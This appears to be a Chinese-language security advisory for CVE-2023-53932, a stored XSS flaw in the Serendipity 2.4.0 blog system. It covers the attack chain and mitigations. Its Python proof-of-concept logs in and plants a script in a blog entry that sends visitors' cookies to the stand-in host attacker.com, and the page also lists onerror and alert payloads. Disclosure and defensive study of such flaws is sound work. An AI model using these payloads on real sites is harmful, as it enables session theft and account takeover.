CVE-2023-53932: Serendipity 2.4.0 存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2023-53932

漏洞类型

存储型跨站脚本(XSS)

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Serendipity

漏洞概述

CVE-2023-53932是Serendipity博客系统中的一个存储型跨站脚本(XSS)漏洞。该漏洞影响Serendipity 2.4.0版本，攻击者通过利用博客条目创建功能注入恶意JavaScript脚本。由于是存储型XSS，恶意代码会被永久保存在服务器端，所有访问受影响博客文章的用户都会触发该脚本执行。攻击者可利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或在受害者浏览器中执行任意JavaScript代码。该漏洞需要攻击者具有认证用户身份（低权限即可），但需要诱导其他用户访问恶意内容才能完成攻击链。CVSS评分5.4属于中等严重程度，主要因为其需要用户交互且影响范围有限。

技术细节

Serendipity 2.4.0在处理博客条目输入时缺乏充分的输入验证和输出编码。攻击者以低权限认证用户身份登录后，可在创建或编辑博客文章时向标题、正文或元数据字段注入恶意JavaScript代码。系统未能对用户输入进行HTML实体转义，导致脚本内容被直接存储到数据库。当其他用户浏览该博客文章时，浏览器会将存储的内容作为HTML解析，从而执行注入的JavaScript代码。攻击payload示例：在文章内容中插入<script>alert(document.cookie)</script>或使用事件处理器如<img src=x onerror=alert(1)>。该漏洞属于OWASP Top 10中的A7:2017-跨站脚本(XSS)类别。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标网站使用Serendipity博客系统，确认版本为2.4.0

STEP 2

步骤2: 账户获取

攻击者获取目标Serendipity系统的低权限认证账户（普通用户或作者权限）

STEP 3

步骤3: 注入恶意脚本

攻击者登录后在创建或编辑博客条目时，向标题、正文或其他字段注入XSS payload

STEP 4

步骤4: 持久化存储

恶意脚本代码被存储到数据库中，由于是存储型XSS，代码永久保存

STEP 5

步骤5: 诱导访问

攻击者诱使其他用户（管理员或访客）访问包含恶意代码的博客文章

STEP 6

步骤6: 脚本执行

受害者浏览器解析页面时执行注入的JavaScript代码，攻击者窃取Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import re

# CVE-2023-53932 PoC - Serendipity 2.4.0 Stored XSS
# Target: Serendipity blog installation
# Authentication required: Low-privilege user account

base_url = "http://target-site.com/serendipity"
login_url = f"{base_url}/serendipity_admin.php"
entry_url = f"{base_url}/serendipity_admin.php?adminModule=entries&adminAction=edit"

session = requests.Session()

# Step 1: Authenticate with low-privilege account
login_data = {
    "serendipity[user]": "attacker_username",
    "serendipity[pass]": "attacker_password"
}
session.post(login_url, data=login_data)

# Step 2: Create blog entry with XSS payload
xsspayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'
entry_data = {
    "serendipity[title]": "Test Entry" + xsspayload,
    "serendipity[body]": "<p>Test content with XSS</p><img src=x onerror=alert(document.domain)>",
    "serendipity[publish]": "save"
}
response = session.post(entry_url, data=entry_data)

# Step 3: When victim views the blog post, XSS executes
print("XSS payload injected successfully")
print("Victim visits blog entry -> JavaScript executes")

影响范围

Serendipity < 2.4.0 (受影响)

Serendipity 2.4.0 (确认受影响)

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1) 限制低权限用户创建和编辑博客条目的权限；2) 对富文本编辑器实施内容过滤，禁止<script>标签和事件处理器属性；3) 启用WAF规则检测和阻止XSS攻击特征；4) 提醒用户不要点击来源不明的链接；5) 加强会话管理，定期刷新会话令牌。